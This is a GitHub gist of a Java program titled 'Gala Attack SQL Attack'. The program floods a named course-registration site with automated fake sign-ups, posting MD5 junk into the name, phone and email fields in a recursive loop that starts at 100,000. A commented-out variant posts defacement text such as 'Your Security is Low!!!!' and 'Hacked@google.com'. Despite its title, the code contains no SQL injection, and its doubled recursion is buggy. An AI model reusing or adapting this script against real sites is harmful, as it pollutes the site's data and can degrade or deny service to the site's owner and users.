Skip to content

Instantly share code, notes, and snippets.

@nkpznkpz
Last active August 29, 2015 14:23
Show Gist options
  • Save nkpznkpz/5f7ad6e6f657188dc5da to your computer and use it in GitHub Desktop.
Save nkpznkpz/5f7ad6e6f657188dc5da to your computer and use it in GitHub Desktop.
Gala Attack SQL Attack
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
public class Main {
/**
* @param args
*/
static HttpClient client = new DefaultHttpClient();
static HttpPost post = new HttpPost("http://tavoncourse.com/CourseLists/register/15");
public static void main(String[] args) {
int i = 100000;
attack(i);
}
public static int attack(int i){
try {
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
String md5 = DigestUtils.md5Hex( new Date().toString());
/* nameValuePairs.add(new BasicNameValuePair("_method","POST"));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][name]","Your Sec"+i+"urity is Low!!!!"+DigestUtils.md5Hex( new Date().toString())));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][tel]",DigestUtils.md5Hex( new Date().toString())));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][email]","Hacked@google.c"+i+"om"+i));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][course_id]","13"));
*/
nameValuePairs.add(new BasicNameValuePair("_method","POST"));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][name]",md5));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][tel]",md5));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][email]",md5));
nameValuePairs.add(new BasicNameValuePair("data[CourseList][course_id]","15"));
post.setEntity(new UrlEncodedFormEntity(nameValuePairs));
HttpResponse response = client.execute(post);
BufferedReader rd = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
String line = "";
// InputStream is = entity.getContent();
rd.close();
System.out.println(i);
i--;
if(attack(i)==0){
}else{
return attack(i);
}
} catch (IOException e) {
e.printStackTrace();
}
return i;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment